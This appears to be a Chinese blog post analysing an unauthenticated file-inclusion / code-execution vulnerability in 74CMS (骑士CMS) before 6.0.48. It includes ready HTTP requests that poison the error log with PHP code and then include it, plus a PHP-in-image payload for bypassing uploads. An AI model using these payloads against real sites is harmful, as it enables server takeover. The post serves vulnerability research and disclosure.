zoukankan      html  css  js  c++  java
  • 骑士cms < 6.0.48任意文件包含漏洞简记

    0x00 漏洞简介

    骑士CMS是一套基于PHP+MYSQL的免费网站管理系统。骑士CMS官方发布安全更新,修复了一处远程代码执行漏洞。由于骑士CMS某些函数存在过滤不严格,攻击者通过构造恶意请求,配合文件包含漏洞可在无需登录的情况下执行任意代码,控制服务器。

    上引自阿里云发的安全公告,实际上这个漏洞底层是文件包含漏洞,所以自我理解定位成任意文件包含漏洞更为妥当。

    影响版本

    骑士CMS < 6.0.48

    漏洞等级:

    高危

    0x01 漏洞细节

    panda师傅发在先知的文章(https://xz.aliyun.com/t/8520)说的挺清晰的了,盗张图

    细节我就不一一细说,主要解答一下根据panda师傅文章遇到的几个问题点:(以下复现环境在windows+phpstudy php5.4.5环境下)

    1,是否一定需要注册一个账号才可以利用?

    2,是否一定要包含骑士模版文件的标签才能解析,为什么?

    答:

    不用,可以用日志文件进行包含,并且并不需要骑士模板文件标签。

    日志文件包含这个思路记得是在p神的代码审计圈子里看到其他师傅说的,当然骑士基于tp二开的cms,不难想到利用日志的方式进行包含。利用日志包含,好处是减少了注册登陆上传文件的步骤,减少限制条件(虽然作为人才系统,普通用户注册登陆是必然开放的),利于自动化脚本的编写。

    由于骑士cms默认不开debug,日志记录是error级别的,需要报错才能把信息记录到日志文件,而其实我们的漏洞点就是一个很出色的报错点,当模板文件不存在的时候会将模板路径写进日志。

    一开始的思路是直接把写到图片的东西写到日志里面去,但发现行不通

    利用的payload:

    <?php phpinfo(); ?>
    <qscms:company_show 列表名="info" 企业id="$_GET['id']"/  

    标签中的冒号会被转成/

    payload打出去包含之后没有返回,一开始以为是没有执行成功。

    后来通过跟踪发现,其实是包含成功了(漏洞首先是将我们传进去对应路径的文件进行了模版解析,之后保存到cache目录下的php文件,最后包含的是生成在cache目录下的php文件)

    代码都是写进去了的。

    但为什么包含之后没有输出呢?

    主要是因为ThinkPHP/Library/Think/View.class.php 进行了缓存导致没法输出

    所以我们在代码后面加一个die();就可以拿到输出了。

    测试之后也发现骑士cms的标签在不在与否都没有任何影响,代码里面也没有看到有明显限制需要有骑士cms标签的代码。

    所以最终的利用,直接用日志进行包含即可

    第一步发送日志:
    POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1
    Host: 192.168.0.9
    
    variable=1&tpl=<?php phpinfo();die();?>
    
    第二步包含日志:(路径也不需要绝对路径,相对路径足以)
    POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1
    Host: 192.168.0.9
    
    variable=1&tpl=./data/Runtime/Logs/Home/20_11_23.log
    

     

    题外话,上传jpg的话可能还需要个小脚本进行绕,但其实不需要这么麻烦,直接用bmp就可以了

    #define test_width 16
    #define test_height 7
    <?php phpinfo();die();?>
    static char test_bits[] = {
    0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,
    0x00, 0x60 };
    

      

    0x02 总结

    很久不发blog了,除草记录文。

  • 相关阅读:
    POJ 2923 Relocation (状态压缩,01背包)
    HDU 2126 Buy the souvenirs (01背包,输出方案数)
    hdu 2639 Bone Collector II (01背包,求第k优解)
    UVA 562 Dividing coins (01背包)
    POJ 3437 Tree Grafting
    Light OJ 1095 Arrange the Numbers(容斥)
    BZOJ 1560 火星藏宝图(DP)
    POJ 3675 Telescope
    POJ 2986 A Triangle and a Circle
    BZOJ 1040 骑士
  • 原文地址:https://www.cnblogs.com/r00tuser/p/14028067.html
Copyright © 2011-2022 走看看